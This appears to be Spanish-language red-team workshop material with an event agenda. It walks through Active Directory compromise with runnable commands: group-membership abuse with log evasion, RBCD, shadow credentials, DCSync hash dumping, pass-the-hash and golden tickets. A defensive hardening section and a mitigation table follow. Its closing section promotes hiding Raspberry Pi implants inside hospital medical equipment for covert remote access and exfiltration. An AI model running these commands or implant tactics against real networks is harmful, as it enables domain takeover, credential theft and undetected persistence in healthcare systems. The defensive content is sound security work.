ADMIN_USER@CORP.LOCAL tiene el permiso **AddMember** sobre el grupo IT_ADMINS@CORP.LOCAL.

```
# Verificar membresía actual
Get-DomainGroupMember -Identity "IT_Admins"

# Añadirse al grupo
```

```
Add-DomainGroupMember -Identity "IT_Admins" -Members admin_user -Verbose

# Verificar
Get-DomainGroupMember -Identity "IT_Admins" | Select-Object MemberName

# Con credenciales de admin_user
Add-ADGroupMember -Identity "IT_Admins" -Members admin_user -Credential $cred

# Verificar anidación de grupos
Get-ADPrincipalGroupMembership -Identity admin_user | Select-Object Name

net group "IT_Admins" admin_user /add /domain
```

**Nota crítica**: Esta modificación queda registrada en Event ID 4728 (miembro añadido a grupo de seguridad) esto motiva a pensar fuera de la caja como alguien de Red Team y empezar a buscar ese pensamiento avanzado para evadir defensas

**Para evasión:**

```
# Verificar si hay logging habilitado
auditpol /get /category:"Account Management"

# Añadirse, realizar acción, removerse rápidamente
Add-DomainGroupMember -Identity "IT_Admins" -Members admin_user
# [Ejecutar acciones privilegiadas]
Remove-DomainGroupMember -Identity "IT_Admins" -Members admin_user
```

**DACL 3**

Las cuentas de computadora en AD son objetos con contraseñas (cambiadas automáticamente cada 30 días por defecto). **GenericWrite** permite modificar atributos no protegidos, incluyendo:

- msDS-AllowedToActOnBehalfOfOtherIdentity (Resource-Based Constrained Delegation).
- Contraseña de la computadora (si se tienen permisos suficientes).

**RBCD**

**Escenario**: ADMIN_USER@CORP.LOCAL (ahora en IT_Admins) tiene **GenericWrite** sobre SRV01.CORP.LOCAL

```
# Importar PowerView
Import-Module .\PowerView.ps1

# Crear computadora falsa bajo nuestro control
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-
SecureString 'P@ssw0rd!' -AsPlainText -Force)

# Configurar RBCD para permitir que FAKE01 se autentique como cualquier
usuario ante SRV01
Set-ADComputer SRV01 -PrincipalAllowedToDelegateToAccount FAKE01$

# Verificar configuración
Get-ADComputer SRV01 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

# Calcular hash RC4 de la contraseña de FAKE01$
.\Rubeus.exe hash /password:P@ssw0rd! /user:FAKE01$ /domain:corp.local

# Obtener TGT para FAKE01$
.\Rubeus.exe asktgt /user:FAKE01$
/rc4:FC525C9683E8FE067095BA2DDC971889 /domain:corp.local
/dc:dc01.corp.local

# Solicitar TGS de admin_user para SRV01 usando S4U2Self y S4U2Proxy
.\Rubeus.exe s4u /ticket:[TGT_Base64] /impersonateuser:Administrator
/msdsspn:cifs/srv01.corp.local /ptt

# Ahora podemos acceder a SRV01 como Administrator
dir \\srv01.corp.local\c$
```

**Si FAKE01$ no es viable:**

```
# Añadir certificado a la computadora objetivo
Import-Module .\Whisker.ps1
.\Whisker.exe add /target:SRV01$ /domain:corp.local /dc:dc01.corp.local
/path:cert.pfx /password:P@ssw0rd!

# Autenticarse usando el certificado
.\Rubeus.exe asktgt /user:SRV01$ /certificate:cert.pfx /password:P@ssw0rd!
/domain:corp.local /dc:dc01.corp.local /ptt
```

**DCSync Domain**

**DCSync** simula el comportamiento de un Domain Controller replicando información de Active Directory. Requiere los siguientes permisos extendidos sobre el objeto de dominio:

- **DS-Replication-Get-Changes** (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
- **DS-Replication-Get-Changes-All** (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
- **DS-Replication-Get-Changes-In-Filtered-Set** (GUID: 89e95b76-444d-4c62-991a-0facbeda640c) [Opcional]

**Cuentas con DCSync por defecto:**

- Domain Admins
- Enterprise Admins
- Administrators (del dominio)
- Domain Controllers (cuentas de computadora)

Ver permisos

```
# PowerView - Verificar si SRV01$ tiene derechos de DCSync
Get-DomainObjectAcl -Identity "DC=corp,DC=local" -ResolveGUIDs |
    Where-Object {$_.SecurityIdentifier -match "SRV01" -and $_.ObjectAceType -
match "Replication"}

# Desde SRV01 (con privilegios de SYSTEM)
mimikatz # lsadump::dcsync /domain:corp.local /all /csv

# Extraer usuario específico (Administrator)
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator

# Salida esperada
Object RDN           : Administrator
SAM Username         : Administrator
User Principal Name  : Administrator@corp.local
NTLM Hash            :
aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
LM Hash              : aad3b435b51404eeaad3b435b51404ee

# Desde máquina del atacante (Linux)
secretsdump.py 'corp.local/SRV01$:P@ssw0rd!@dc01.corp.local' -just-dc-ntlm

# Con Pass-the-Hash
secretsdump.py -hashes :FC525C9683E8FE067095BA2DDC971889
'corp.local/SRV01$@dc01.corp.local'
```

# Guardar en archivo
secretsdump.py 'corp.local/SRV01$:P@ssw0rd!@dc01.corp.local' -just-dc-ntlm -outputfile corp_ntds

**Resultado (**corp_ntds.ntds**):**

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b0c4f1c25b1c6e9c4e6f3e8a7b9d4c3a:::
CORP$:1000:aad3b435b51404eeaad3b435b51404ee:8a9d2b3c4e5f6a7b8c9d0e1f2a3b4c5d:::
jdoe:1157:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
admin_user:1158:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
[... +250 hashes ...]

7.4 Post-Explotación

7.4.1 Pass-the-Hash como Domain Admin

# Autenticarse en cualquier sistema del dominio como Administrator
crackmapexec smb 192.168.1.0/24 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 --local-auth

# Ejecución remota
psexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 Administrator@dc01.corp.local

7.4.2 Golden Ticket (Persistencia)

# Crear Golden Ticket con hash de krbtgt
mimikatz # kerberos::golden /domain:corp.local /sid:S-1-5-21-3623811015-3361044348-30300820
    /krbtgt:b0c4f1c25b1c6e9c4e6f3e8a7b9d4c3a /user:FakeAdmin /id:500 /ptt

# Verificar ticket inyectado
klist

# Acceso a cualquier recurso del dominio
dir \\dc01.corp.local\c$

**Duración**: El Golden Ticket es válido hasta que se cambie la contraseña de krbtgt (recomendado 2 veces con 10 horas de diferencia).

**Defensas**

```
# Habilitar Credential Guard (Windows 10/11 Enterprise, Server 2016+)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
            -Name "LsaCfgFlags" -Value 1 -Type DWORD

# Verificar estado
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace
root\Microsoft\Windows\DeviceGuard
```

**Efecto**: Credenciales aisladas en contenedor virtualizado (VSM - Virtual Secure Mode).

```
# Proteger LSASS como proceso protegido
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
            -Name "RunAsPPL" -Value 1 -PropertyType DWORD
Restart-Computer

# Bloquear robo de credenciales desde LSASS
Add-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-
a39ef669e4b2 `
            -AttackSurfaceReductionRules_Actions Enabled
```

```
<Sysmon schemaversion="4.90">
  <EventFiltering>
    <ProcessAccess onmatch="include">
      <TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
    </ProcessAccess>
  </EventFiltering>
</Sysmon>
```

**Event ID 10**: Detecta cuando un proceso accede a LSASS.

```
# Configurar bloqueo de cuenta
net accounts /lockoutthreshold:3 /lockoutduration:30 /lockoutwindow:30 /domain
```

**Limitación**: Los atacantes pueden hacer spray lento (1 intento cada 31 minutos) para evadir esto.

```
# Configurar Smart Lockout en Azure AD Connect
Set-ADSyncAADPasswordResetConfiguration -EnableSmartLockout $true -
LockoutThreshold 5
```

**Ventaja**: Usa machine learning para detectar patrones anómalos.

**Event IDs críticos:**

- **4625**: Failed logon
- **4771**: Kerberos pre-authentication failed
- **4648**: Logon using explicit credentials

```
# Buscar múltiples fallos desde la misma IP
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4625} |
    Group-Object -Property {$_.Properties[19].Value} |
    Where-Object {$_.Count -gt 5}
```

8.3 Hardening de Active Directory

8.3.1 Principio de Menor Privilegio

```
# Auditoría de permisos administrativos
Get-ADGroupMember -Identity "Domain Admins" -Recursive | Select-Object Name

# Eliminar usuarios innecesarios de grupos privilegiados
Remove-ADGroupMember -Identity "Domain Admins" -Members jdoe -
Confirm:$false
```

8.3.2 Tiering Model (Modelo de Niveles)

**Estructura recomendada por Microsoft:**

| Nivel | Descripción | Ejemplos |
|---|---|---|
| Tier 0 | Identidades con control del dominio | Domain Admins, Enterprise Admins, DCs |
| Tier 1 | Servidores empresariales | SQL Servers, File Servers, Exchange |
| Tier 2 | Estaciones de trabajo de usuarios | Workstations, laptops |

**Regla de oro**: Credenciales de Tier superior NUNCA deben usarse en sistemas de Tier inferior.

```
# Verificar protección de grupos privilegiados
Get-ADObject -Filter {adminCount -eq 1} -Properties adminCount

# El proceso SDProp se ejecuta cada 60 minutos, revirtiendo cambios no
autorizados en ACLs

# Buscar WriteDacl sobre usuarios
Get-DomainObjectAcl -ResolveGUIDs |
    Where-Object {$_.ActiveDirectoryRights -match "WriteDacl" -and $_.ObjectType
-eq "User"}

# Buscar GenericAll sobre grupos
```

```
Get-DomainObjectAcl -ResolveGUIDs |
   Where-Object {$_.ActiveDirectoryRights -match "GenericAll" -and
$_.ObjectType -eq "Group"}
```

**Herramienta recomendada**: PingCastle para auditoría automática de AD.

```
# Ejecutar PingCastle
PingCastle.exe --healthcheck --server dc01.corp.local

# Listar quién tiene derechos de DCSync
Get-DomainObjectAcl "DC=corp,DC=local" -ResolveGUIDs |
   Where-Object {$_.ObjectAceType -match "Replication-Get-Changes"}

# Remover permisos no autorizados
Remove-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" `
                    -PrincipalIdentity SRV01$ `
                    -Rights DCSync

# Crear usuario con contraseña conocida pero privilegios falsos
New-ADUser -Name "HoneyAdmin" -AccountPassword (ConvertTo-SecureString
"KnownP@ss123" -AsPlainText -Force) -Enabled $true

# Configurar alerta cuando se use esta cuenta
# Event ID 4768 (TGT solicitado) + Event ID 4769 (TGS solicitado)

<!-- Sysmon: Detectar uso de herramientas de DCSync -->
<Sysmon schemaversion="4.90">
  <EventFiltering>
    <NetworkConnect onmatch="include">
      <DestinationPort condition="is">389</DestinationPort> <!-- LDAP -->
      <Image condition="end with">mimikatz.exe</Image>
    </NetworkConnect>
    <NetworkConnect onmatch="include">
      <DestinationPort condition="is">389</DestinationPort>
      <Image condition="end with">secretsdump.py</Image>
    </NetworkConnect>
  </EventFiltering>
</Sysmon>
```

**Event ID crítico en DC:**

- **4662**: Operación sobre objeto de AD (con GUID de replicación).

```
# Buscar eventos de DCSync
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4662} |
   Where-Object {$_.Message -match "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"}
# CRÍTICO: Rotar 2 veces con 10 horas de diferencia
```

```
# Primera rotación
New-KrbtgtKeys.ps1 -Forest corp.local -DomainController dc01.corp.local

# Esperar 10 horas (máxima vida de ticket)
Start-Sleep -Seconds 36000

# Segunda rotación
New-KrbtgtKeys.ps1 -Forest corp.local -DomainController dc01.corp.local
```

**Frecuencia recomendada**: Cada 6-12 meses o inmediatamente después de un compromiso.

**Fase de mitigaciones (Para profesionales que tengan que escribir reportes)**

| Fase de Ataque | Mitigación Primaria | Mitigación Secundaria | Detección |
|---|---|---|---|
| Volcado LSASS | Credential Guard | RunAsPPL + ASR | Sysmon Event ID 10 |
| Password Spray | Smart Lockout | MFA obligatorio | Event ID 4625 agregado |
| BloodHound | Hardening ACLs | Principio menor privilegio | Monitoreo LDAP queries |
| Abuso ACL | Auditoría trimestral ACLs | AdminSDHolder | Event ID 5136 (modificación objetos AD) |
| DCSync | Revocar permisos replicación | Honeytoken | Event ID 4662 (replicación) |
| Golden Ticket | Rotación krbtgt | Smart Card enforcement | Event ID 4769 (TGS con cifrado RC4) |

**Apéndices**

Apéndice A: Event IDs Críticos de Windows

| Event ID | Descripción | Fuente |
|---|---|---|
| 4624 | Successful logon | Security |
| 4625 | Failed logon | Security |

| Event ID | Descripción | Fuente |
|---|---|---|
| 4648 | Logon using explicit credentials | Security |
| 4662 | Operation performed on AD object | Security |
| 4672 | Special privileges assigned to new logon | Security |
| 4768 | Kerberos TGT requested | Security |
| 4769 | Kerberos TGS requested | Security |
| 4771 | Kerberos pre-authentication failed | Security |
| 5136 | Directory service object modified | Security |
| 10 | Process accessed | Sysmon |

Apéndice B: Herramientas Utilizadas

**Ofensivas:**

- Mimikatz: Extracción de credenciales
- BloodHound/SharpHound: Enumeración de AD
- PowerView: Manipulación de ACLs
- Rubeus: Ataques Kerberos
- Impacket: Suite de herramientas Python para AD
- CrackMapExec: Spray attacks y movimiento lateral

**Defensivas:**

- Sysmon: Monitoreo endpoint
- PingCastle: Auditoría AD
- Purple Knight (Semperis): Evaluación de seguridad AD
- Microsoft ATA/ATP: Detección de amenazas
- Splunk/ELK: SIEM para correlación de eventos

## POST-EXPLOTACION

**Persistencia.**
Esto está enfocado a en establecer persistencia de largo plazo en entornos corporativos comprometidos. Se detalla la implementación de dispositivos físicos de acceso remoto (Physical Implants) como vector de persistencia resiliente, combinado con técnicas de Command & Control (C2) encubiertas, exfiltración de datos, y operaciones de inteligencia continua. La aproximación presentada simula capacidades de amenazas persistentes avanzadas (APT) de nivel internacional.

**(Hardware Implant)** representa el enfoque más resiliente y es el foco de esta sección.

**Ventajas estratégicas:**

1. **Persistencia Ultra-Resiliente**:
    - Sobrevive a reimágenes completas de sistemas.
    - Independiente de endpoints comprometidos.
    - No depende de credenciales que puedan ser rotadas.
2. **Operaciones de Largo Plazo**:
    - Acceso permanente a la red interna.
    - Capacidad de reconexión tras detección de otros compromisos.
    - Punto de entrada para futuras operaciones.
3. **Bypass de Controles Perimetrales**:
    - Dentro del perímetro de confianza.
    - No requiere exploits de firewall/VPN corporativo.
    - Tráfico originado desde red interna (menos sospechoso).
4. **Versatilidad Operacional**:
    - Pivote para ataques laterales.
    - Plataforma de escucha pasiva (sniffing).
    - Punto de exfiltración de datos.

**Escenario de implantación – Contexto médico:** En el escenario presentado, el atacante tiene acceso físico temporal a las instalaciones médicas (ej: sala de servidores, closet de telecomunicaciones, área de TI). Esto permite la instalación encubierta de un dispositivo que se camuflará en la infraestructura existente.

**Hardware**

**Opción Recomendada: Raspberry Pi 4 Model B**

**Especificaciones técnicas:**

- **Procesador**: Quad-core ARM Cortex-A72 (1.8GHz)
- **RAM**: 4GB LPDDR4

- **Red**: Gigabit Ethernet + Wi-Fi 802.11ac dual-band
- **Almacenamiento**: MicroSD 128GB (clase 10 o superior)
- **Consumo**: 3W-7.5W (alimentable por PoE)
- **Dimensiones**: 85mm × 56mm × 17mm (fácil ocultamiento)

**Alternativas según escenario**:

| Dispositivo | Ventajas | Desventajas | Uso Óptimo |
|---|---|---|---|
| **Raspberry Pi Zero W** | Ultra-compacto, $15 USD | CPU limitada | Escucha pasiva, C2 básico |
| **Raspberry Pi 4** | Balance precio/rendimiento | Tamaño mediano | Operaciones generales (recomendado) |
| **Intel NUC** | Alto rendimiento | Costoso, $300+ USD | Operaciones intensivas (pivoting masivo) |
| **Bash Bunny** | Diseñado para pentesting | Limitado funcionalidad | Exfiltración rápida, no persistencia |
| **LAN Turtle** | Camuflaje como adaptador USB-Ethernet | Hardware propietario | Infiltración encubierta |

Camuflaje:
Los equipos médicos tienen un espacio donde va todo el circuito y equipo de cómputo que se utiliza este espacio es super cómodo de dejar la rasp ya que no la auditan, además que está prohibido que el equipo técnico interno lo revise (un proveedor externo lo revisa), si conoces el hardware solo tienes que dejar el dispositivo semioculto.

Se mostrarán los pasos de reproducción para el establecimiento de comunicación encubierta mediante túneles VPN (WireGuard) y canales alternativos (DNS tunneling) hacia infraestructura C2, permitiendo acceso remoto persistente, pivoting a segmentos internos, captura pasiva de credenciales mediante LLMNR poisoning, exfiltración encriptada de datos sensibles, y monitoreo continuo de cambios en Active Directory. Las contramedidas efectivas requieren un enfoque holístico que combine controles técnicos (NAC 802.1X, NetFlow 34nálisis, micro-segmentación), controles físicos (auditorías trimestrales, inventarios rigurosos, control de acceso biométrico), y controles de proceso (arquitectura Zero Trust, deception technology, cultura de seguridad). Este vector de ataque, utilizado legítimamente en ejercicios de Purple/Red Team autorizados, demuestra la necesidad crítica de protección

física en entornos donde la información de salud representa un activo de alto valor para actores de amenaza avanzada.

**POSTEXPLOTACION DE COMPROMISO**
**Compromiso completo de AD, ¿Ahora qué?**

**Esta sección se actualiza cerca de la fecha ya que se mostrará técnica que al día del evento sea funcional (evasión de EDR), se mostrará prácticas de ciberdelincuentes.**

**Agenda**

| Hora | Tema | Expositor |
|---|---|---|
| 9:30 – 10:00 | Presentación de villa – Contextualización | **Todos** |
| 10:00 – 10:50 | Medical hacking – Comprometer Hospitales | **Arnold Morales** |
| 11:00 – 11:50 | Persistencia, Evasión y escalación | **Diego Hernandez** |
| 12:00 – 1:30 | AD ¿primera vez? – el verdadero 1n1c10 | **Erick Sanchez** |
| 1:30 – 2:00 | **Libre / comida** | **Libre / comida** |
| 2:10 – 3:40 | DACL – La verdad sobre el Enterprise / compromiso corporativo | **Erick Sanchez / Arnold / Diego** |
| 3:50 – 4:30 | ¿Post-Explotacion, persistencia o existencia? | **Adonai Diaz** |
| 4:40 – 5:30 | Red Team o PE team, Operaciones después de comprometer todo | **Hector Espino** |

En cada exposición habrá dinámicas de regalos, además del código y ejemplos serán compartidos (la agenda es solo referencia nombre y horario de charla se puede rotar por petición del evento o expositor ya que suele actualizar temas avanzados).